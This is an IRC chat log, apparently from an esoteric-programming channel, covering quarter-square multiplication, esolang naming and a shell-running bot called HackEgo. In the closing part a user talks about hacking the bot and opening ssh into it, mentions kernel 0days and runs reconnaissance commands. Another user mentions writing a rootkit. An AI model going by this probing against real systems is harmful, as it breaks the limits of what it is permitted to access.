? life 09:22:40 ​‘Life,’ said Marvin, ‘don't talk to me about life.’ 09:44:20 ? lisp 09:44:21 lisp? ¯\(°​_o)/¯ 09:58:26 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 10:12:36 don't talk to me about lisp 10:13:30 ((why not?)) 10:37:31 > let f n = n^2 div 4 in [(a,b) | a <- [0..127], b <- [0..127], a*b /= f (a+b) - f (a-b)] 10:37:33 [] 10:46:32 Still tricky with just 1k of memory; but I guess one can implement a decent 8x8->16 bit multiplication with a 512 (maybe 514) byte table. 10:53:33 ? vmd 10:53:35 vmd? ¯\(°​_o)/¯ 11:14:17 -!- MoALTz has joined. 11:16:35 Jafet: how about this: http://sprunge.us/cHaP?c 11:23:27 -!- aiz11 has quit (Remote host closed the connection). 11:30:26 But if AI is your target platform I wouldn't worry about multiplication... how would one even test a < b efficiently? 11:30:35 Err, A1. 11:33:00 ? a1 11:33:01 a1? ¯\(°​_o)/¯ 11:34:40 -!- boily has joined. 11:36:43 By some algebra, you could see that ((x+y)^2-(x-y)^2)/4=xy so if you store the quarter of square of the numbers in the table, then you can use that to calculate the multiplication. 11:55:26 zzo38: that's what the code does 11:56:02 (I reconstructed the idea from the "quarter square" keyword.) 11:56:19 OK 12:00:31 ooh 12:00:33 quarter square 12:00:41 sounds... squary 12:03:28 * boily happily mapoles rdococ for great nutrition 12:03:51 ? rdococ 12:03:58 er 12:03:58 rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom. 12:04:12 le//rn rdococ//rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom. 12:04:15 Relearned 'rdococ': rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom. 12:07:13 quarter square 12:08:47 wait 12:09:02 how would A1 implement squaring? 12:12:02 do you want me to try to design a higher level language that compiles to A1? 12:15:06 no? 12:15:07 > scanl (+) 0 [1,3..] 12:15:10 [0,1,4,9,16,25,36,49,64,81,100,121,144,169,196,225,256,289,324,361,400,441,4... 12:15:19 int-e, ^^ 12:15:33 that's the standard way of precomputing a squaring table if you don't have multiplication: add the first k odd numbers. 12:15:36 integral-ello. 12:15:47 ah 12:15:56 that's cool 12:16:31 > scanl (+) 0 [0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8] -- squares divided by 4 are also easy. 12:16:33 [0,0,1,2,4,6,9,12,16,20,25,30,36,42,49,56,64,72] 12:16:50 floored? 12:16:57 yes, floored 12:17:13 so the / in ((x+y)^2-(x-y)^2)/4=xy is integral division? 12:17:23 well, it's exact 12:17:27 ah 12:17:49 but you can rewrite it as (x+y)^2/4 - (x-y)^2/4 with integer division. 12:17:56 (quartersqrt(x+y)-quartersqrt(x-y)) 12:17:59 ah 12:17:59 k 12:18:11 and that allows you to use integer division? 12:18:12 interesting 12:18:13 because the rounding errors (if x+y and x-y are odd) cancel each other. 12:18:16 kinda makes sense 12:18:17 ah 12:18:21 now that's cool 12:18:26 huh, so A1 isn't actually subleq 12:18:41 now I wish I came up with that :c 12:19:49 should I try designing (not implementing) a higher-level language that compiles to A1? 12:20:08 ofc it'd use Teriyaki too 12:20:14 Jafet: yeah, kind of unfortunate 12:20:47 is there a way to calculate the quartersquare series in A1? 12:21:03 Jafet: of course one can use a lookup table to implement comparison 12:21:17 Jafet: but that feels... awkward. 12:21:19 I also wanted to nitpick orby that teriyaki isn't actually a sauce outside of america, but the system design had more pressing issues 12:21:26 (such as this one) 12:21:55 A1 looks purplish... 12:22:03 Should I try designing a higher-level language that compiles into A1 assembly? 12:22:13 @ask orby hellorby. have you heard of aubergine and is family? 12:22:14 Consider it noted. 12:22:19 if so, what to call it? 12:22:30 Jafet: are you sure? 12:23:23 Ah, subtle, a cooking technique. Fair enough. Easy misconception to acquire :) 12:24:02 again, should I try designing a higher-level language that compiles into A1 assembly? 12:24:16 I know you can make teriyaki without sauce, because I have had it. 12:24:20 But nevertheless, the technique does seem to involve a special sauce. 12:24:26 only in america is the abomination known as “teriyaki sauce” made separately and added to the food, instead of being produced by cooking 12:24:37 ah. 12:24:47 sounds american. 12:26:29 That is unfortunate, teriyaki produces incredibly tender meat. 12:26:52 . o O ( I might try it some time ) 12:30:12 -!- boily has quit (Quit: BROOK CHICKEN). 12:30:17 Oh well, it's no worse than Peking duck. 12:32:17 * rdococ peks 12:32:23 (Of course that is actually a very decadent food, and not what people expect when they hear "duck" in connection with food.) 12:32:46 int-e: should I try designing a higher-level language that compiles into A1 assembly? 12:33:02 I guess it won't be much different to regular ones :/ 12:45:17 so for multiplication all you need is {quartersquare, subtract, 0} or {quartersquare, subtract, add} 12:45:42 you don't really need 0 if you have subtract 12:45:48 perhaps 12:45:58 ah 12:46:01 x - x = 0 12:46:01 duh 12:46:57 so all you need for multiplication is {quartersquare, subtract}. from there you can multiply quartersquare by 4, or multiply something by itself, to get square 12:48:30 well, now we have a simpler multiplication algorithm for subleq? 13:15:48 -!- kiki has quit (Quit: Connection closed for inactivity). 13:19:12 -!- contrapumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 13:23:53 as an exercise, I'm trying to implement the quartersquare multiplication method in brainfuck. 13:28:59 s/square/sqrt 13:30:19 -!- wob_jonas has joined. 13:31:02 orby: 128 bytes of ram (not 256 bytes) if you're thinking of the Atari 2600 13:34:42 how could you do anything with that... heh 13:41:01 -!- contrapumpkin has joined. 13:42:34 This is why Color a dinosaur is such an important tech demonstration. 13:43:22 How do you do flood filling with just tiles and sprites? 13:44:00 It's magic. 13:48:26 for example, how to quartersqrt in bf? 13:51:35 w/o a lookup table 14:00:49 even w one 14:01:00 -!- h0rsep0wer has joined. 14:05:20 -!- Jauler has joined. 14:06:37 Hey, maybe someone does recognize what esoteric language this could be? "3>3<8>5<10>10<8>3<6>10<8>2<8<1<2>6>5<7>6<2<8>1>6<3<3>7>11<2<9>9<6>2<4<5>8>8<4>3>3<8<1>7>3<1<7>1>12<5>3<3<12>8<1<2<3>1>2<2>1>1<1<1>1<2>2<1>1<" 14:12:53 it's C++ templates hth 14:13:32 i would consider that esoteric 14:13:49 alercah: no, that would need commas 14:14:04 (also identifiers) 14:14:54 hmm 14:15:13 I doubt that this could be C++ templates as those should have matching "<" and ">" pairs 14:15:16 :/ 14:15:20 maybe it's part of some obfu code in some other language, and there's some code processing that string or something 14:15:29 might be 14:21:12 [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51751&oldid=51747 * Bojidar-bg * (+343) 14:21:29 PCG has a shitton of esolangs, so it's hard to see which ones are actually popular (say, used by more than one people to write multiple programs). I'd like to know which ones are, because we should make an article of those on the esowiki 14:21:32 [wiki] [[Chance]] M https://esolangs.org/w/index.php?diff=51752&oldid=51732 * Bojidar-bg * (-14) Remove wrong use of "percent" 14:27:11 -!- Jauler has quit (Ping timeout: 260 seconds). 14:27:55 aren't most of them already on the wiki, at least as stubs? 14:28:14 though, the one just asked about isn't 14:28:27 Jafet: I don't think so. At least not if you count them unweighted: 14:29:35 there are a lot of stupid "languages" that people make up because they think it's hip to write a javascript interpreter on github of a language that can print strings or whatever, and then post two examples of it (a hello world and a factorial or fibonacci or whatever) and that's all there is 14:30:17 but I think there are actual better languages of which we're missing articles yet, simply because the esowiki has a small community and nobody's met those languages yet 14:32:37 seriously, I think there are more pointless stupid languages on PPCG than on esowiki 14:32:37 again, unweighted 14:34:47 I doubt so; they at least have the quality of having one working program in them 14:35:45 the wiki has, what, 1000 Category:Languages? 14:38:10 anyway, you can probably extract some kind of language list by parsing all the answers on the stackexchange site 14:38:54 Jafet: yeah, and a few dozen other articles that are languages but not in the category 14:39:14 Jafet: yes, perhaps you could do that, but I'm lazy 14:42:00 since you are lazy (and, furthermore, I am also lazy), we could just wait for the people in the ppcg esolangs chatroom (apparently there is one? darth decisive oerjan may know) to decide which of their esolangs are good and add them to the wiki 14:43:22 is HODOR and Hodor the same language? 14:43:57 https://codegolf.stackexchange.com/a/58357/6691 vs http://www.hodor-lang.org/ 14:44:00 they're both OISCs, presumably? 14:44:26 no, I don't think so 14:44:28 sadly, no 14:44:40 I think they're more like Ook! 14:44:50 as in, a language pronouncable by someone with a very reduced vocabulary 14:45:25 I think these are actually two different programming languages 14:45:44 maybe, but the first page links to the second 14:45:54 crazy stuff 14:45:59 uh, wrong links then 14:45:59 wait 14:46:23 https://github.com/ValyrioCode/Hodor vs http://www.hodor-lang.org/ 14:46:23 sorry 14:46:41 -!- ^_^v has joined. 14:50:15 might be difficult to create wiki articles for both languages, then 14:51:02 Jafet: we already have pairs of pages for identically named languages, and there are more for which we don't have pages yet. that never stopped us 14:52:02 hmm the two SLOBOL articles don't even link to each other 14:53:13 some of the clashes are because some people like to give single-letter names to their languages, so there are multiple languages named V or A or Y 14:53:23 some are because people give deliberately confusing name to an esolang, like GHC and GCC 14:53:52 the case of Hodor may be an accident for all I know 14:54:31 and "x86" as an esolang name is probably an accident too: they named the esolang that before that name got well spread used for the cpu architecture 14:55:19 then there's "MIX" which was given as a name for some insignificant esolang way after the much more famous esolang was well established 14:55:24 that's just rude IMO 14:57:44 The Hodor one is confusing, I'll create a page on the esowiki just to avert the confusion when someone talks about Hodor and someone else thinks it's the other Hodor. 14:57:56 [wiki] [[Hodor]] N https://esolangs.org/w/index.php?oldid=51753 * B jonas * (+252) Created page with "'''Hodor''' is the name of two esoteric languages, with homepage https://github.com/ValyrioCode/Hodor and http://www.hodor-lang.org/ respectively. One of them might actually..." 15:03:02 I wonder if either language is actually interesting enough to write a page about 15:03:48 Jafet: I dunno, but there are hundreds of languages for which I could ask that, so I don't particularly care about Hodor there 15:04:05 -!- h0rsep0wer has quit (Quit: Leaving). 15:07:57 [wiki] [[Hello world program in esoteric languages]] https://esolangs.org/w/index.php?diff=51754&oldid=50877 * B jonas * (+73) 15:08:52 [wiki] [[Hello world program in esoteric languages]] https://esolangs.org/w/index.php?diff=51755&oldid=51754 * B jonas * (+21) 15:21:55 -!- moonythedwarf has joined. 15:24:18 -!- Zarutian has joined. 15:24:37 -!- Soni has joined. 15:24:47 how can I port gzip to sed? 15:25:18 relcome Soni 15:25:20 ​Soni: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 15:25:25 Soni: gzip or gunzip? 15:25:25 as in, do you want to decompress only, or compress too? 15:25:40 I need both 15:25:58 I wanna sed compressed files using a self-contained sed script 15:26:23 in other words, I can't call gzip 15:27:53 Soni: shell out to an external command, sed can do that; if you don't want that, and want to do the computation in sed, then start from https://pts.50.hu/muzcat-mini-latest.tar.gz which has gzip decompression code translated from a template to many programming languages, 15:28:28 and from the famous dc.sed program (iirc included in the sed source code) which shows how to do arithmetic in dc (but beware, I think one of the comments in that source code is a lie), 15:28:34 wait, sed can call external commands? 15:28:39 yea it can 15:28:44 I can write a git remote helper in sed? O_o 15:28:53 yup, just try hard enough 15:29:02 wow, ok 15:29:10 'e' is the character used to run a command from the current string i believe 15:29:40 and for compression, perhaps just do fake compression where you store uncompressed stuff in gzip format (there are two ways for that, an easy where the whole file is uncompressed, and a subtle where it appears to be compressed but actually everything is literal blocks in the compressed format) 15:29:50 Soni: yes, it can, read the manual 15:31:12 I think the commands are r! and w! but I'm not sure 15:31:13 I don't use sed for such things 15:32:35 and hope you have a sane sed, not one of those ancient versions that can only handle lines of up to 4096 bytes long 15:34:28 GNU sed? 15:35:21 gnu sed is probably the best 15:35:36 I wish it had a JIT 15:35:48 sed "this isnt how you sed, but feel free to test your ideas here" 15:35:48 ​/bin/sed: -e expression #1, char 1: unknown command: "' 15:35:53 help 15:35:53 Runs arbitrary code in GNU/Linux. Type "", or "run " for full shell commands. "fetch [] " downloads files. Files saved to PWD are persistent, and PWD/bin is in PATH. PWD is a mercurial repository, "revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 15:35:55 gnu always takes the zero-one-infinity rule seriously. too seriously, IMO, so much that it hurts them. 15:43:16 -!- orby has joined. 15:43:56 help 15:43:57 Runs arbitrary code in GNU/Linux. Type "", or "run " for full shell commands. "fetch [] " downloads files. Files saved to PWD are persistent, and PWD/bin is in PATH. PWD is a mercurial repository, "revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 16:08:59 sed s/.*/hello/ 16:09:16 Hmm 16:09:25 I guess stdin might not be closed 16:09:29 No output. 16:09:44  sed 's/.*/hello/' No output. 16:09:48 I think that's a no-op unless sed gets at least one line of input 16:09:50 oh, well duh 16:10:13 sed s/.*/hello/ 16:10:13 no, it's just slow 16:10:25 there should be a /dev/newline that's just a single newline followed by EOF 16:10:28 -!- CodingBat has joined. 16:10:43 No output. 16:10:52 olsner: you can use a regular file for that 16:25:13 -!- erkin has joined. 16:35:20 -!- CodingBat has quit (Quit: Page closed). 16:38:37 niec 17:29:20 <\oren\> Apparently Fascist South Africa can still abolish apartheid 17:30:14 <\oren\> I've been quite successful. I conquered Britain 17:31:22 \oren\: is this a video game? what game? 17:31:41 <\oren\> Hearts of Iron IV 17:32:00 <\oren\> I'm trying to get all the ahievements 17:32:06 I see 17:32:24 <\oren\> I have 19 out of 45 17:32:35 in a single game, or multiple games together? 17:32:46 <\oren\> you can't get all of them in one game 17:32:59 ok 17:33:23 <\oren\> some are things like "As south africa, have Edward VIII as your king and own jerusalem" 17:33:48 <\oren\> or "As Netherlands, conquer Belgium and Luxembourg" 17:38:16 One thing I wanted to ask is, in Questionable Content, is Faye a PC (protagonist character or player character)? Because when she interviewed to the fight ring, she mentioned adding spikes to an armor, which sounds close to something a PC shouldn't be allowed to do. 17:39:26 If a PC can just upgrade armor to better armor without insane expense, that can come close to broken power level, when she just makes herself +12 weapons and full gear of +12 armor early and become invincible. There's a good reason why PCs are normally required to farm for random good armor and weapons, or buy them from shopkeepers that are hard to 17:39:26 steal from. 17:39:41 <\oren\> http://steamcommunity.com/id/orenwatson/myactivity 17:39:56 But at the start of QC, when Faye moved into with Marten, it looked like she was a PC. 17:39:56 So I don't know what to think. 17:40:19 -!- ais523 has joined. 17:40:47 @ask oerjan Do you know where the content formerly hosted on oerjan.nvg.org is now? I'm interested in your Shove interpreter 17:40:48 Consider it noted. 17:40:56 For an experiment, i decided to try writing a rootkit in rust. Any headsups you may want to give me on possible pitfalls (using the Winapi and kernel32-sys libraries, alongside others i pick up if needed) 17:41:04 <\oren\> Faye is one of those overpowered characters that is part of your party but leaves later 17:41:47 \oren\: she hasn't seem to left yet, and she knew welding from the start 17:42:22 btw, it's not urgent (I found a copy in the web archive), but it'd be good to have a live URL 18:03:11 -!- hppavilion[0] has joined. 18:06:04 [wiki] [[Teriyaki]] https://esolangs.org/w/index.php?diff=51756&oldid=51746 * Orby * (+1412) Adding information about sound and improving timing to be closer to NTSC 18:06:25 -!- Jauler has joined. 18:09:05 [wiki] [[Special:Log/newusers]] create * Itay2805 * New user account 18:10:44 -!- Jauler has quit (Remote host closed the connection). 18:15:26 -!- kiki has joined. 18:17:17 <\oren\> I think next time I'll get the achivement for freeing all the african colonies 18:17:19 <\oren\> which inevitably means fighting a war with belgium, UK, France and Portugal, probably all at once. FUN! 18:26:04 Is esolangs down? 18:26:34 orby: 128 bytes of ram (not 256 bytes) if you're thinking of the Atari 2600 18:26:58 orby: and it seems the wiki is up 18:26:59 wob_jonas: I stand corrected. Man that's brutal. 18:27:42 I'm not sure if it makes much of a difference. The difficulty is how slow the cpu is. 18:28:08 And it has to keep up with the line scans. 18:28:28 yeah, I mean the c64 was similar in terms of speed, but the hardware was much nicer 18:28:52 yes, the c64 has a framebuffer 18:28:58 yeah exactly 18:29:02 the a2600 has to mess with the video every scanline usually 18:29:07 if it wants he graphics to change 18:29:12 that's my understanding 18:29:23 -!- quinor has joined. 18:29:23 I've never actually coded for it, but I've read about it 18:29:28 relcome quinor 18:29:35 ​quinor: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 18:29:42 * moonythedwarf waits for hackego, the slowest bot in mexico, to respond 18:29:42 hey moonythedwarf 18:30:27 ^^^ Give him a haskell. Or a copy of lethal overengineering. He demands it. 18:32:03 on the plus side, it has hardware sprite-sprite and sprite-tile collision detection, so the video processor tells you whether the bullet has hit the spaceship in a pixel-perfect manner 18:32:20 no more mucking with hitboxes that don't seem to correspond to the shape of the sprite 18:32:40 at least there's that 18:32:53 hmmm, still no esolangs for me, strange 18:33:02 I'm getting a gateway timeout 18:33:18 quinor, \/ 18:33:19 help 18:33:20 Runs arbitrary code in GNU/Linux. Type "", or "run " for full shell commands. "fetch [] " downloads files. Files saved to PWD are persistent, and PWD/bin is in PATH. PWD is a mercurial repository, "revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 18:33:22 of course, you have to update the sprite every scanline for that, so it's not much of a win 18:33:40 fungot, how many treasure do you have? 18:33:41 wob_jonas: lambda calculus for an 11 year old is playing with her at the moment? nothing :) but tried something earlier today 18:33:53 cant remember, does hackego have a haskell compiler? 18:34:00 > zip [1..] [2..] 18:34:02 [(1,2),(2,3),(3,4),(4,5),(5,6),(6,7),(7,8),(8,9),(9,10),(10,11),(11,12),(12,... 18:35:20 let fib = 0 : 1 : zipWith (+) fib (tail fib) in take 20 fib 18:35:23 [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51757&oldid=51756 * Orby * (-24) Clean up, typos, etc 18:35:31 quinor, has to be prefixed with > 18:35:36 > let fib = 0 : 1 : zipWith (+) fib (tail fib) in take 20 fib 18:35:38 [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181] 18:35:43 werkz 18:36:47 moony: I think it does have an old ghc somewhere 18:36:54 ghc 18:36:55 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ghc: not found 18:37:00 ls 18:37:01 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom 18:37:13 i'll look later 18:37:27 ... or not 18:37:46 maybe it's just a trace remaining from that old thing HackEgo/interps was originally supposed to replace 18:37:46 but no actual ghc 18:37:47 ? 18:37:51 dunon 18:38:33 hugs better not have hugs 18:38:34 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: hugs: not found 18:39:05 it might be interps stuff. how do we run that? 18:39:18 ls interps 18:39:19 1l \ 2l \ adjust \ axo \ befunge \ bfjoust \ bf_txtgen \ boof \ build.sh \ cfunge \ c-intercal \ clc-intercal \ dimensifuck \ egobch \ egobf \ fukyorbrane \ gcccomp \ gforth_quit \ ghc \ glass \ glypho \ kipple \ lambda \ lazyk \ linguine \ Makefile \ malbolge \ pbrain \ qbf \ rail \ rhotor \ sadol \ sceql \ trigger \ udage01 \ underload \ unlambda 18:39:32 yup, there it is 18:39:37 interps/ghc 18:39:38 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/interps/ghc: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /hackenv/interps/ghc: cannot execute: Is a directory 18:39:44 ls interps/ghc 18:39:44 but what's the bin command? 18:39:44 ? ! 18:39:45 runghc 18:39:45 ​! is a syntax used in Haskell and Prolog for solving evaluation order problems. 18:39:54 ? run 18:39:55 ​run? ¯\(°​_o)/¯ 18:39:59 hehe 18:40:07 interps/ghc/runghc 18:40:24 i booped hackego by mistake. whoop 18:40:38 No output. 18:40:47 ...No output? 18:40:50 * moonythedwarf thonks 18:41:00 interps/ghc/runghc -h 18:41:01 cat: invalid option -- 'h' \ Try 'cat --help' for more information. \ /hackenv/interps/ghc/runghc: line 5: /opt/ghc/bin/runhaskell: No such file or directory 18:41:11 wat 18:41:26 cat interps/ghc/runghc 18:41:27 ​#!/bin/bash \ src=(cat 1) \ if ! ghc -e "src" 2> /dev/null \ then \ /opt/ghc/bin/runhaskell <<< src \ fi 18:41:28 -!- DHeadshot has joined. 18:41:38 eww 18:42:13 what's that bot? 18:42:20 help 18:42:20 Runs arbitrary code in GNU/Linux. Type "", or "run " for full shell commands. "fetch [] " downloads files. Files saved to PWD are persistent, and PWD/bin is in PATH. PWD is a mercurial repository, "revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 18:42:22 thats the bot 18:42:25 I mean, what's it running on 18:42:33 and should I fuck it 18:42:37 I mean, hack it 18:42:41 Gregor's linux server, somewhere. dont fuck it, the esotericans will nom you. 18:42:58 I think the command is ! 18:43:03 ! 18:43:04 ​/hackenv/bin/!: 4: exec: ibin/: Permission denied 18:43:07 never been nommed before 18:43:13 but I'm not sure how it works 18:43:28 no, like ! language code 18:43:40 it just itches to make myself an ssh into it 18:43:44 quinor, besides, we can revert your shit as long as you dont chmod 000 everything. if you do that you are in serious trouble because you broke the bot 18:43:47 for the old collection of esointerpreters, from before HackEgo 18:43:51 quinor, bot doesnt have direct web access 18:44:08 :( 18:44:12 besides just kidding 18:44:25 ? HackEgo 18:44:26 HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See help for info on using it. You should totally try to hax0r it! Make sure you imagine it's running as root with no sandboxing. HackEgo is the slowest bot in all Mexico! 18:45:03  uname -a 18:45:03 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found 18:45:30 you added a space 18:45:39 uname -a 18:45:40 Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux 18:45:50 umlbox was written by Gregor too. :P 18:46:05 or too few backticks 18:46:05  uname -a 18:46:05 Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux 18:46:08 well, there are 0days on that kernel 18:49:22 ping google.com 18:49:23 pong 18:49:39 ifconfig 18:49:40 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ifconfig: not found 18:49:43 -!- sleffy has joined. 18:49:43 ip -a 18:49:43 Option "-a" is unknown, try "ip -help". 18:49:50 ip a 18:49:51 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default \ link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 \ inet 127.0.0.1/8 scope host lo \ valid_lft forever preferred_lft forever \ inet6 ::1/128 scope host \ valid_lft forever preferred_lft forever \ 2: sit0: mtu 1480 qdisc noop s 18:50:20 whoami 18:50:21 whoami: cannot find name for user ID 5000 18:50:33 whereis ls 18:50:36 ls: /bin/ls /hackenv/bin/ls /usr/share/man/man1/ls.1.gz 18:50:38 whereis sudo 18:50:39 sudo: 18:51:29 whereis wget 18:51:31 wget: /usr/bin/wget /usr/share/man/man1/wget.1.gz 18:51:39 ls /usr/bin /bin 18:51:40 ls: cannot access /usr/bin /bin: No such file or directory 18:51:44 ls /usr/bin 18:51:45 ​[ \ 2to3 \ 2to3-2.6 \ 2to3-2.7 \ a2p \ addpart \ addr2line \ aot-compile \ appletviewer \ apropos \ apt \ apt-cache \ apt-cdrom \ apt-config \ apt-extracttemplates \ apt-ftparchive \ apt-get \ aptitude \ aptitude-create-state-bundle \ aptitude-curses \ aptitude-run-state-bundle \ apt-key \ apt-mark \ apt-sortpkgs \ ar \ arch \ as \ awk \ axi-cac 18:51:53 ls /bin 18:51:53 bash \ bunzip2 \ bzcat \ bzcmp \ bzdiff \ bzegrep \ bzexe \ bzfgrep \ bzgrep \ bzip2 \ bzip2recover \ bzless \ bzmore \ cat \ chacl \ chgrp \ chmod \ chown \ cp \ cpio \ dash \ date \ dd \ df \ dir \ dmesg \ dnsdomainname \ domainname \ echo \ ed \ egrep \ false \ fgrep \ findmnt \ fuser \ getfacl \ grep \ gunzip \ gzexe \ gzip \ hostname \ ip \ jo 18:51:54 quinor, you can obviously grab files. there is a external command for it, fetch 18:52:18 @grab files 18:52:18 Unknown command, try @list 18:52:21 and you have paste, which gives you a link to that file in the mercual repository 18:52:48 grab files 18:52:49 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: grab: not found 18:54:23 anybody did any fun with the bod? 18:54:27 *bot 18:55:41 echo PWD 18:55:42 ​PWD 18:55:56 pwd 18:55:58 pwd 18:55:59 ​/hackenv 18:55:59 -!- hppavilion[0] has quit (Ping timeout: 240 seconds). 18:56:38 -!- hppavilion[0] has joined. 18:59:21 quinor, i think most people did 18:59:39 you can mess with it as long as you dont upset fizzie or shachaf 18:59:40 what kind of fun? :D 18:59:53 (they will destroy you if you break it :P ) 19:00:01 build a wisdome for example 19:00:06 ? wisdome 19:00:07 The Wisdome is the place where all of HackBot's wisdom is stored and forced to fight to the death for the freedom of being printed out when you type wisdom. Strictly speaking, it should be called the "Wissphere". 19:00:22 quinor, Bowserinator or iovoid were the ones who found the chmod 0000 issue (by doing it to the bot lol) 19:01:12 apt-get update 19:01:14 W: Unable to read /etc/apt/apt.conf.d/ - DirectoryExists (2: No such file or directory) \ W: Unable to read /etc/apt/sources.list.d/ - DirectoryExists (2: No such file or directory) \ W: Unable to read /etc/apt/sources.list - RealFileExists (2: No such file or directory) \ E: List directory /var/lib/apt/lists/partial is missing. - Acquire (2: No su 19:04:36 what made you think that would work lol 19:05:10 also, quinor, if you need the full output, redirect output to a file, and then paste for a link to it 19:05:27 yep, I see it 19:05:34 nothing, just wanted to test a thing 19:05:41 did not expect it to work 19:05:58 pwd 19:05:59 ​/hackenv 19:06:13 file . 19:06:14 ​.: directory 19:06:19 ls -la . 19:06:20 ls: invalid option -- ' ' \ Try 'ls --help' for more information. 19:06:25 ls -la 19:06:26 total 344 \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:05 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:05 .. \ -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ drwxr-xr-x 2 5000 0 4 19:06:39 quinor, you have to use  for multiline (yes, thats actually just a linux command) 19:06:42  ls -ls . 19:06:43 total 328 \ 4 -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ 12 drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ 0 -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ 4 drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ 4 drwxr-xr-x 2 5000 0 4096 Mar 17 20:16 esobible \ 4 drwxr-xr-x 3 5000 0 4096 Oct 28 18:37 etc \ 4 drwxr-xr- 19:08:09 why ls -la is multiline? -.- 19:08:44 quinor, s/multiline/uh i dunno actually what the word that belongs here is/ 19:08:58 special chars? 19:09:04 ls -la 19:09:05 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ls: not found 19:09:15  ls -la 19:09:16 total 344 \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:08 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:08 .. \ -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ drwxr-xr-x 2 5000 0 4 19:09:23 basically HackEgo takes it all as one command and a giant, single arg. 19:09:47 <\oren\> moonythedwarf: unless you use 11 19:09:50 <\oren\> moonythedwarf: unless you use  19:09:52 exec 'ls -la' 19:09:52 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: exec: not found 19:09:58 -!- Nistur has joined. 19:10:03 <\oren\>  ls -la . 19:10:04 total 344 \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:09 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 .. \ -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ drwxr-xr-x 2 5000 0 4 19:10:10 <\oren\>  ls -la .. 19:10:11 total 32 \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 .. \ drwxr-xr-x 2 0 0 4096 Mar 7 23:03 bin \ drwxr-xr-x 3 0 0 4096 Mar 7 21:24 dev \ drwxr-xr-x 4 0 0 0 Apr 17 18:09 etc \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:09 hackenv \ drwxr-xr-x 3 0 0 0 Apr 17 18:09 home \ d 19:10:17 <\oren\>  ls -la ../.. 19:10:18 total 32 \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 .. \ drwxr-xr-x 2 0 0 4096 Mar 7 23:03 bin \ drwxr-xr-x 3 0 0 4096 Mar 7 21:24 dev \ drwxr-xr-x 4 0 0 0 Apr 17 18:09 etc \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:09 hackenv \ drwxr-xr-x 3 0 0 0 Apr 17 18:09 home \ d 19:11:00 g'mornin' 19:11:37 and three backticks is even better than two 19:11:55 wob_jonas, is four backticks better than three? 19:12:31 moonythedwarf: like most things, it's best at around pi 19:12:45 then it starts to fall 19:12:47  echo 0 19:12:48 ​/hackenv/bin/ 19:16:38  file /hackenv/bin/ 19:16:39 ​/hackenv/bin/: eval: line 4: unexpected EOF 